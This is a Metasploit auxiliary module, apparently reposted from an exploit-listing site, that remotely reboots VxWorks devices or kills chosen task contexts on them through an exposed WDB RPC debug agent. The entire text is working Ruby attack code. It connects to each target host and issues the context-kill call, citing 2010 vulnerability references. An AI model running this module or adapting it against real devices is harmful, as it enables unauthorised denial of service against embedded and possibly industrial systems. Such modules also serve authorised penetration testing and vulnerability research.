Exploit for VxWorks WDB Agent Remote Reboot

## https://sploitus.com/exploit?id=PACKETSTORM:180762
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::WDBRPC_Client  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VxWorks WDB Agent Remote Reboot',  
'Description' => %q{  
This module provides the ability to reboot a VxWorks target through WDBRPC  
},  
'Author' => [ 'hdm'],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['OSVDB', '66842'],  
['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],  
['US-CERT-VU', '362332']  
],  
'Actions' =>  
[  
['Reboot', 'Description' => 'Reboot target']  
],  
'DefaultAction' => 'Reboot'  
))  
  
register_options(  
[  
OptInt.new('CONTEXT', [ true, "The context to terminate (0=system reboot)", 0 ])  
])  
end  
  
def run_host(ip)  
  
wdbrpc_client_connect  
  
membase = @wdbrpc_info[:rt_membase]  
memsize = @wdbrpc_info[:rt_memsize]  
mtu = @wdbrpc_info[:agent_mtu]  
ctx = datastore['CONTEXT'].to_i  
  
print_status("#{ip} - Killing task context #{ctx}...")  
  
wdbrpc_client_context_kill( (ctx != 0) ? 3 : 0, ctx )  
  
print_status("#{ip} - Done")  
  
wdbrpc_client_disconnect  
end  
end